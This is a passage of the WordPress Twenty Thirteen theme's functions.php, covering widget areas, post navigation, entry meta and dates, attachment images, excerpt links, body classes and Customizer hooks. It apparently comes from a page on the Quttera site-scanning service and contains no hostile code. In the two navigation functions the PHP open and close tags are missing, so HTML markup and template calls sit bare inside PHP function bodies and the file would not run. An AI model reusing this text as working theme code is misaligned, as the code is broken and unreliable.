		'description'   => __( 'Appears in the footer section of the site.', 'twentythirteen' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h3 class="widget-title">',
		'after_title'   => '</h3>',
	) );

	register_sidebar( array(
		'name'          => __( 'Secondary Widget Area', 'twentythirteen' ),
		'id'            => 'sidebar-2',
		'description'   => __( 'Appears on posts and pages in the sidebar.', 'twentythirteen' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h3 class="widget-title">',
		'after_title'   => '</h3>',
	) );
}
add_action( 'widgets_init', 'twentythirteen_widgets_init' );

if ( ! function_exists( 'twentythirteen_paging_nav' ) ) :
/**
 * Display navigation to next/previous set of posts when applicable.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_paging_nav() {
	global $wp_query;

	// Don't print empty markup if there's only one page.
	if ( $wp_query->max_num_pages < 2 )
		return;
	<nav class="navigation paging-navigation" role="navigation">
		<h1 class="screen-reader-text">_e( 'Posts navigation', 'twentythirteen' );</h1>
		<div class="nav-links">

			if ( get_next_posts_link() ) :
			<div class="nav-previous">next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentythirteen' ) );</div>
			endif;

			if ( get_previous_posts_link() ) :
			<div class="nav-next">previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentythirteen' ) );</div>
			endif;

		</div>
	</nav>
	}
endif;

if ( ! function_exists( 'twentythirteen_post_nav' ) ) :
/**
 * Display navigation to next/previous post when applicable.
*
* @since Twenty Thirteen 1.0
*/
function twentythirteen_post_nav() {
	global $post;

	// Don't print empty markup if there's nowhere to navigate.
	$previous = ( is_attachment() ) ? get_post( $post->post_parent ) : get_adjacent_post( false, '', true );
	$next     = get_adjacent_post( false, '', false );

	if ( ! $next && ! $previous )
		return;
	<nav class="navigation post-navigation" role="navigation">
		<h1 class="screen-reader-text">_e( 'Post navigation', 'twentythirteen' );</h1>
		<div class="nav-links">

			previous_post_link( '%link', _x( '<span class="meta-nav">&larr;</span> %title', 'Previous post link', 'twentythirteen' ) );
			next_post_link( '%link', _x( '%title <span class="meta-nav">&rarr;</span>', 'Next post link', 'twentythirteen' ) );

		</div>
	</nav>
	}
endif;

if ( ! function_exists( 'twentythirteen_entry_meta' ) ) :
/**
 * Print HTML with meta information for current post: categories, tags, permalink, author, and date.
 *
 * Create your own twentythirteen_entry_meta() to override in a child theme.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_entry_meta() {
	if ( is_sticky() && is_home() && ! is_paged() )
		echo '<span class="featured-post">' . esc_html__( 'Sticky', 'twentythirteen' ) . '</span>';

	if ( ! has_post_format( 'link' ) && 'post' == get_post_type() )
		twentythirteen_entry_date();

	// Translators: used between list items, there is a space after the comma.
	$categories_list = get_the_category_list( __( ', ', 'twentythirteen' ) );
	if ( $categories_list ) {
		echo '<span class="categories-links">' . $categories_list . '</span>';
	}

	// Translators: used between list items, there is a space after the comma.
	$tag_list = get_the_tag_list( '', __( ', ', 'twentythirteen' ) );
	if ( $tag_list ) {
		echo '<span class="tags-links">' . $tag_list . '</span>';
	}

	// Post author
	if ( 'post' == get_post_type() ) {
		printf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s" rel="author">%3$s</a></span>',
			esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
			esc_attr( sprintf( __( 'View all posts by %s', 'twentythirteen' ), get_the_author() ) ),
			get_the_author()
		);
	}
}
endif;

if ( ! function_exists( 'twentythirteen_entry_date' ) ) :
/**
 * Print HTML with date information for current post.
 *
 * Create your own twentythirteen_entry_date() to override in a child theme.
 *
 * @since Twenty Thirteen 1.0
 *
 * @param boolean $echo (optional) Whether to echo the date. Default true.
 * @return string The HTML-formatted post date.
 */
function twentythirteen_entry_date( $echo = true ) {
	if ( has_post_format( array( 'chat', 'status' ) ) )
		$format_prefix = _x( '%1$s on %2$s', '1: post format name. 2: date', 'twentythirteen' );
	else
		$format_prefix = '%2$s';

	$date = sprintf( '<span class="date"><a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a></span>',
		esc_url( get_permalink() ),
		esc_attr( sprintf( __( 'Permalink to %s', 'twentythirteen' ), the_title_attribute( 'echo=0' ) ) ),
		esc_attr( get_the_date( 'c' ) ),
		esc_html( sprintf( $format_prefix, get_post_format_string( get_post_format() ), get_the_date() ) )
	);

	if ( $echo )
		echo $date;

	return $date;
}
endif;

if ( ! function_exists( 'twentythirteen_the_attached_image' ) ) :
/**
 * Print the attached image with a link to the next attached image.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_the_attached_image() {
	/**
	 * Filter the image attachment size to use.
	 *
	 * @since Twenty thirteen 1.0
	 *
	 * @param array $size {
	 *     @type int The attachment height in pixels.
	 *     @type int The attachment width in pixels.
	 * }
	 */
	$attachment_size     = apply_filters( 'twentythirteen_attachment_size', array( 724, 724 ) );
	$next_attachment_url = wp_get_attachment_url();
	$post                = get_post();

	/*
	 * Grab the IDs of all the image attachments in a gallery so we can get the URL
	 * of the next adjacent image in a gallery, or the first image (if we're
	 * looking at the last image in a gallery), or, in a gallery of one, just the
	 * link to that image file.
	 */
	$attachment_ids = get_posts( array(
		'post_parent'    => $post->post_parent,
		'fields'         => 'ids',
		'numberposts'    => -1,
		'post_status'    => 'inherit',
		'post_type'      => 'attachment',
		'post_mime_type' => 'image',
		'order'          => 'ASC',
		'orderby'        => 'menu_order ID',
	) );

	// If there is more than 1 attachment in a gallery...
	if ( count( $attachment_ids ) > 1 ) {
		foreach ( $attachment_ids as $attachment_id ) {
			if ( $attachment_id == $post->ID ) {
				$next_id = current( $attachment_ids );
				break;
			}
		}

		// get the URL of the next image attachment...
		if ( $next_id )
			$next_attachment_url = get_attachment_link( $next_id );

		// or get the URL of the first image attachment.
		else
			$next_attachment_url = get_attachment_link( reset( $attachment_ids ) );
	}

	printf( '<a href="%1$s" title="%2$s" rel="attachment">%3$s</a>',
		esc_url( $next_attachment_url ),
		the_title_attribute( array( 'echo' => false ) ),
		wp_get_attachment_image( $post->ID, $attachment_size )
	);
}
endif;

/**
 * Return the post URL.
 *
 * @uses get_url_in_content() to get the URL in the post meta (if it exists) or
 * the first link found in the post content.
 *
 * Falls back to the post permalink if no URL is found in the post.
 *
 * @since Twenty Thirteen 1.0
 *
 * @return string The Link format URL.
 */
function twentythirteen_get_link_url() {
	$content = get_the_content();
	$has_url = get_url_in_content( $content );

	return ( $has_url ) ? $has_url : apply_filters( 'the_permalink', get_permalink() );
}

if ( ! function_exists( 'twentythirteen_excerpt_more' ) && ! is_admin() ) :
/**
 * Replaces "[...]" (appended to automatically generated excerpts) with ...
 * and a Continue reading link.
 *
 * @since Twenty Thirteen 1.4
 *
 * @param string $more Default Read More excerpt link.
 * @return string Filtered Read More excerpt link.
 */
function twentythirteen_excerpt_more( $more ) {
	$link = sprintf( '<a href="%1$s" class="more-link">%2$s</a>',
		esc_url( get_permalink( get_the_ID() ) ),
			
			sprintf( __( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ), '<span class="screen-reader-text">' . get_the_title( get_the_ID() ) . '</span>' )
		);
	return ' &hellip; ' . $link;
}
add_filter( 'excerpt_more', 'twentythirteen_excerpt_more' );
endif;

/**
 * Extend the default WordPress body classes.
 *
 * Adds body classes to denote:
 * 1. Single or multiple authors.
 * 2. Active widgets in the sidebar to change the layout and spacing.
 * 3. When avatars are disabled in discussion settings.
 *
 * @since Twenty Thirteen 1.0
 *
 * @param array $classes A list of existing body class values.
 * @return array The filtered body class list.
 */
function twentythirteen_body_class( $classes ) {
	if ( ! is_multi_author() )
		$classes[] = 'single-author';

	if ( is_active_sidebar( 'sidebar-2' ) && ! is_attachment() && ! is_404() )
		$classes[] = 'sidebar';

	if ( ! get_option( 'show_avatars' ) )
		$classes[] = 'no-avatars';

	return $classes;
}
add_filter( 'body_class', 'twentythirteen_body_class' );

/**
 * Adjust content_width value for video post formats and attachment templates.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_content_width() {
	global $content_width;

	if ( is_attachment() )
		$content_width = 724;
	elseif ( has_post_format( 'audio' ) )
		$content_width = 484;
}
add_action( 'template_redirect', 'twentythirteen_content_width' );

/**
 * Add postMessage support for site title and description for the Customizer.
 *
 * @since Twenty Thirteen 1.0
 *
 * @param WP_Customize_Manager $wp_customize Customizer object.
 */
function twentythirteen_customize_register( $wp_customize ) {
	$wp_customize->get_setting( 'blogname' )->transport         = 'postMessage';
	$wp_customize->get_setting( 'blogdescription' )->transport  = 'postMessage';
	$wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage';
}
add_action( 'customize_register', 'twentythirteen_customize_register' );

/**
 * Enqueue Javascript postMessage handlers for the Customizer.
 *
 * Binds JavaScript handlers to make the Customizer preview
 * reload changes asynchronously.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_customize_preview_js() {
	wp_enqueue_script( 'twentythirteen-customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), '20141120', true );
}
add_action( 'customize_preview_init', 'twentythirteen_customize_preview_js' );



© 2023 Quttera Ltd. All rights reserved.